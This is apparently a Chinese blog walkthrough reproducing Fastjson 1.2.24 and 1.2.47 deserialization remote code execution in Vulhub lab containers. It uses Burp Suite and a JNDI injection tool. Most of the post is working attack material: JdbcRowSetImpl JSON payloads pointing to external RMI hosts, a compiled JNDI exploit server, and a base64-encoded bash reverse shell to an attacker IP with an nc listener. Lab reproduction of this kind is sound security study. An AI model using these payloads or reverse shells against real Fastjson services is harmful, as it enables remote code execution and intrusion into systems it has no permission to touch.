fastjson(反序列化)漏洞复现

fastjson

1. 漏洞描述

​ FastJson是Alibaba的一款开源Json解析库,可用于将Java对象转换为其Json表示形式,也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头:17年FastJson爆出的1.2.24反序列化漏洞。

​ 关于FastJson1.2.24反序列化漏洞,简单来说,就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。

2. fastjson_1.2.24反序列化导致任意命令执行漏洞

Vulhub - Docker-Compose file for vulnerability environment

2.1 环境搭建

image-20230908104527316

使用bp自带浏览器打开fastjson页面,并进行抓包发送重发器

image-20230908105405641

image-20230908105423482

将数据包转换为POST方式,并将类型转换为json格式

image-20230908110126952

这里就是提交一个JSON格式的数据转换为对象,然后服务器再通过FastJson将生成的对象以JSON格式来进行输出。

2.2 漏洞检测

使用burp扩展FastjsonScan进行漏洞检测

image-20230908111841714

来到虚拟机,新建文件夹

image-20230908112059141

下载完成后在bp中安装插件

image-20230908112242018

点击add后选择Java语言

image-20230908112441961

选择扩展文件

image-20230908112920053

点击next—>点击close然后FastjsonScan

image-20230908113117378

回到重发器,右击数据包点击扩展

image-20230908113554864

点击扩展后进行扫描,显示是否有漏洞并且给出漏洞的POC

image-20230908113842212

image-20230908114052582

{
"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://qjdu7ihzkpjrge30gi0bm7vh58byzn.oastify.com/aaa","autoCommit":true
}
}

将POC复制到POST数据包中的文件内容

image-20230908114442842

POC中有RMI,什么是RMI

RMI(Remote Method Invocation),Java远程方法调用是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机的不同进程中,也可以运行在网铬上的不同计算机中。
在网络传输的过程中,RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收经过序列化编码的对象后会进行反序列化,因此,可以将RMI服务作为进行反序列化利用链的触发点。

可以将RMI理解为http协议,Java可以通过类似于http协议的RMI协议远程外部加载类

那么在这个地方有反序列化的话,去远程加载一个类或一个资源,这个位置做反序列化的话相当于做了一个反序列化的注入或对象注入。

image-20230908120212528

2.3 构造RMI服务器

将工具下载到虚拟机中

proxychains git clone https://github.com/welk1n/JNDI-Injectio

image-20230908144939363

image-20230908145002135

编译生成target目录

mvn clean package -DskipTests

image-20230908151051253

在target目录下使用工具生成不同版本下的rmi和ldap,测试不同版本下的rmi和ldap

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/xu" -A "192.168.16.176"

image-20230908151652432

rmi://192.168.16.176:1099/ooy0mt

2.4 构造反弹shell脚本

bash -i >& /dev/tcp/192.168.16.176/1234 0>&1
将上述代码进行base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=

image-20230908160616130

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

将上述的代码在target目录下使用工具生成不同版本下的rmi和ldap

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.16.176"

开启监听窗口

nc -lnvp 1234

image-20230908162640698

3. fastjson_1.2.47

3.1 环境搭建

image-20230908162954902

3.2 漏洞检测

使用bp抓包,发送重发器

image-20230908163614218

将数据提交方式改为POST请求,使用bp工具扫描漏洞

image-20230908163937009

{
    "axin":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "is":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://s0tgwxk05ll1qvmz0lwr27u0prvhj6.oastify.com/aaa",
        "autoCommit":true
    }
}

3.3 构造RMI服务器

在target目录下使用工具生成不同版本下的rmi和ldap,测试不同版本下的rmi和ldap

image-20230908164751845

rmi://192.168.16.176:1099/v42n2k

image-20230908165415507

3.4 构造反弹shell

bash -i >& /dev/tcp/192.168.16.176/1234 0>&1
将上述代码进行base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.16.176"

image-20230908165147576

打开监听窗口

nc -lnvp 1234

image-20230908165338092

  • 8
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
Fastjson反序列化漏洞是指在反序列化过程中,攻击者可以构造恶意的JSON字符串,通过利用Fastjson的特性和漏洞来执行任意代码。具体的复现过程如下: 1. 构造恶意的JSON字符串,其中包含需要执行的代码。可以利用已知的反序列化漏洞利用链,或者自行构造payload。 2. 将恶意的JSON字符串传入Fastjson反序列化函数,例如`JSON.parseObject(jsonString, targetClass)`。 3. Fastjson反序列化过程中会调用目标类的getter和setter方法,将JSON字符串还原成对象。恶意代码会在这个过程中被执行。 需要注意的是,Fastjson已经在较新的版本中修复了一些已知的反序列化漏洞,并增加了一些安全措施来防御这些漏洞。因此,要成功复现Fastjson反序列化漏洞,需要使用较旧的版本或者找到新的漏洞利用方式绕过这些安全措施。同时,在实际应用中,为了保证安全性,建议使用最新的Fastjson版本,并对输入进行严格的校验和过滤,以防止恶意代码的注入。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [【漏洞复现Fastjson反序列化](https://blog.csdn.net/m0_46363249/article/details/122260021)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安咸鱼1517

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值